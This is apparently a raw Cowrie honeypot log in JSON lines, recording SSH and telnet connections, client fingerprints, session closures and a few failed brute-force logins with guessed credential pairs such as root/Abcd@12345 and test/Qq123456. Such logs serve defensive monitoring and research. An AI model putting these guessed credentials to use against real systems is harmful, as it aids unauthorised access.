{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:56.436931Z","src_ip":"165.154.5.173","session":"2343d9a68280","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd@12345","message":"login attempt [root/Abcd@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:57.330768Z","src_ip":"165.154.5.173","session":"2343d9a68280","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.140055418014526,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:58.049659Z","src_ip":"194.195.250.213","session":"f84966f52dbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.287492990493774,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:58.152195Z","src_ip":"162.253.42.116","session":"ddeb78652a94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:58.548792Z","src_ip":"165.154.5.173","session":"2343d9a68280","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":39584,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbfa21fcfa5a","protocol":"telnet","message":"New connection: 162.253.42.116:39584 (10.17.0.5:23) [session: fbfa21fcfa5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:00.271181Z"}
{"eventid":"cowrie.session.closed","duration":32.556884765625,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:01.212370Z","src_ip":"162.253.42.116","session":"5d3dfaee5d8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.41533660888672,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:01.448874Z","src_ip":"162.253.42.116","session":"3ee0f1145b87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.01411461830139,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:02.134403Z","src_ip":"162.253.42.116","session":"6b2789d209d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.36371445655823,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:07.866079Z","src_ip":"162.253.42.116","session":"6154af398e9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":59168,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e6b201c74ae","protocol":"ssh","message":"New connection: 102.213.34.99:59168 (10.17.0.5:22) [session: 9e6b201c74ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:08.830739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:08.834905Z","src_ip":"102.213.34.99","session":"9e6b201c74ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:09.004564Z","src_ip":"102.213.34.99","session":"9e6b201c74ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"Qq123456","message":"login attempt [test/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:09.716673Z","src_ip":"102.213.34.99","session":"9e6b201c74ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.235.205","src_port":56314,"dst_ip":"159.203.135.109","dst_port":23,"session":"aafaec0b6538","protocol":"telnet","message":"New connection: 103.15.235.205:56314 (159.203.135.109:23) [session: aafaec0b6538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:09.817010Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:10.889128Z","src_ip":"102.213.34.99","session":"9e6b201c74ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":42732,"dst_ip":"159.203.135.109","dst_port":23,"session":"12f20ea15904","protocol":"telnet","message":"New connection: 185.26.126.47:42732 (159.203.135.109:23) [session: 12f20ea15904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:14.540948Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":56738,"dst_ip":"10.17.0.5","dst_port":23,"session":"0daedd23c299","protocol":"telnet","message":"New connection: 162.253.42.116:56738 (10.17.0.5:23) [session: 0daedd23c299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:15.312463Z"}
{"eventid":"cowrie.session.closed","duration":39.82329344749451,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:15.690043Z","src_ip":"194.195.250.213","session":"248f6f573427","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.69460153579712,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:16.141774Z","src_ip":"162.253.42.116","session":"a6726f272feb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.65251874923706,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:16.166444Z","src_ip":"194.195.250.213","session":"3a71449a9494","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.79044008255005,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:16.864801Z","src_ip":"194.195.250.213","session":"e572280f86b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":59154,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5261085892f","protocol":"telnet","message":"New connection: 162.253.42.116:59154 (10.17.0.5:23) [session: b5261085892f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:17.356578Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":35754,"dst_ip":"10.17.0.5","dst_port":23,"session":"986518e95940","protocol":"telnet","message":"New connection: 162.253.42.116:35754 (10.17.0.5:23) [session: 986518e95940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:21.555758Z"}
{"eventid":"cowrie.session.closed","duration":36.16107511520386,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:23.085541Z","src_ip":"162.253.42.116","session":"f08877f5e344","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.626731634140015,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:23.271009Z","src_ip":"162.253.42.116","session":"219103621906","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":43624,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fb6c23bc8d6","protocol":"telnet","message":"New connection: 194.195.250.213:43624 (10.17.0.5:23) [session: 5fb6c23bc8d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:23.444550Z"}
{"eventid":"cowrie.session.closed","duration":38.01926851272583,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:23.623003Z","src_ip":"194.195.250.213","session":"484be8c6f78c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.982508182525635,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:26.758022Z","src_ip":"194.195.250.213","session":"d4dbc1bd886a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48840,"dst_ip":"159.203.135.109","dst_port":22,"session":"f196fb6ed41b","protocol":"ssh","message":"New connection: 159.203.92.129:48840 (159.203.135.109:22) [session: f196fb6ed41b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:26.978397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:26.983212Z","src_ip":"159.203.92.129","session":"f196fb6ed41b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:26.987270Z","src_ip":"159.203.92.129","session":"f196fb6ed41b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anacnda3","password":"123456","message":"login attempt [anacnda3/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:26.998353Z","src_ip":"159.203.92.129","session":"f196fb6ed41b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.14989995956421,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:27.228724Z","src_ip":"194.195.250.213","session":"775cc8fe9aa5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":54324,"dst_ip":"159.203.135.109","dst_port":23,"session":"3856d556bb83","protocol":"telnet","message":"New connection: 185.26.126.47:54324 (159.203.135.109:23) [session: 3856d556bb83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:27.680766Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:28.005269Z","src_ip":"159.203.92.129","session":"f196fb6ed41b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":43942,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a60e92fe7e0","protocol":"telnet","message":"New connection: 162.253.42.116:43942 (10.17.0.5:23) [session: 7a60e92fe7e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:29.865539Z"}
{"eventid":"cowrie.session.closed","duration":34.94869828224182,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:29.998901Z","src_ip":"194.195.250.213","session":"e54323375cc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":58234,"dst_ip":"10.17.0.5","dst_port":23,"session":"a61e722691c1","protocol":"telnet","message":"New connection: 194.195.250.213:58234 (10.17.0.5:23) [session: a61e722691c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:31.636471Z"}
{"eventid":"cowrie.session.closed","duration":37.23480200767517,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:32.003711Z","src_ip":"194.195.250.213","session":"d19aa2bf7a42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.1842257976532,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:34.455260Z","src_ip":"162.253.42.116","session":"fbfa21fcfa5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":58240,"dst_ip":"10.17.0.5","dst_port":23,"session":"0397e7d2ba1b","protocol":"telnet","message":"New connection: 194.195.250.213:58240 (10.17.0.5:23) [session: 0397e7d2ba1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:35.894643Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":51506,"dst_ip":"10.17.0.5","dst_port":23,"session":"30a1058c4eb0","protocol":"telnet","message":"New connection: 162.253.42.116:51506 (10.17.0.5:23) [session: 30a1058c4eb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:35.949570Z"}
{"eventid":"cowrie.session.closed","duration":31.058447122573853,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:40.875334Z","src_ip":"103.15.235.205","session":"aafaec0b6538","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":57186,"dst_ip":"10.17.0.5","dst_port":23,"session":"836fb3d34e30","protocol":"telnet","message":"New connection: 162.253.42.116:57186 (10.17.0.5:23) [session: 836fb3d34e30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:41.192334Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":57348,"dst_ip":"10.17.0.5","dst_port":23,"session":"c06dd68493e5","protocol":"telnet","message":"New connection: 162.253.42.116:57348 (10.17.0.5:23) [session: c06dd68493e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:41.342621Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":49754,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bce6b57f651","protocol":"telnet","message":"New connection: 194.195.250.213:49754 (10.17.0.5:23) [session: 0bce6b57f651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:43.281236Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":32982,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fd3b6971304","protocol":"telnet","message":"New connection: 162.253.42.116:32982 (10.17.0.5:23) [session: 3fd3b6971304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:44.928325Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":33452,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a7e1805193a","protocol":"telnet","message":"New connection: 162.253.42.116:33452 (10.17.0.5:23) [session: 9a7e1805193a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:45.360528Z"}
{"eventid":"cowrie.session.closed","duration":34.300696849823,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:49.613040Z","src_ip":"162.253.42.116","session":"0daedd23c299","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":42596,"dst_ip":"10.17.0.5","dst_port":23,"session":"042ce10558bf","protocol":"telnet","message":"New connection: 194.195.250.213:42596 (10.17.0.5:23) [session: 042ce10558bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:49.695608Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":39972,"dst_ip":"10.17.0.5","dst_port":22,"session":"32bff15eeb75","protocol":"ssh","message":"New connection: 165.154.5.173:39972 (10.17.0.5:22) [session: 32bff15eeb75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:49.876985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:49.881685Z","src_ip":"165.154.5.173","session":"32bff15eeb75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:50.101318Z","src_ip":"165.154.5.173","session":"32bff15eeb75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx#edc","message":"login attempt [root/1qaz@wsx#edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:51.004275Z","src_ip":"165.154.5.173","session":"32bff15eeb75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.980950355529785,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:51.521738Z","src_ip":"185.26.126.47","session":"12f20ea15904","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:52.223460Z","src_ip":"165.154.5.173","session":"32bff15eeb75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.52473330497742,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:52.881200Z","src_ip":"162.253.42.116","session":"b5261085892f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":42016,"dst_ip":"10.17.0.5","dst_port":23,"session":"9683d795ca23","protocol":"telnet","message":"New connection: 162.253.42.116:42016 (10.17.0.5:23) [session: 9683d795ca23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:54.014841Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":42618,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf741df803d1","protocol":"telnet","message":"New connection: 194.195.250.213:42618 (10.17.0.5:23) [session: bf741df803d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:55.519214Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":45516,"dst_ip":"10.17.0.5","dst_port":23,"session":"09717464a106","protocol":"telnet","message":"New connection: 162.253.42.116:45516 (10.17.0.5:23) [session: 09717464a106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:56.049234Z"}
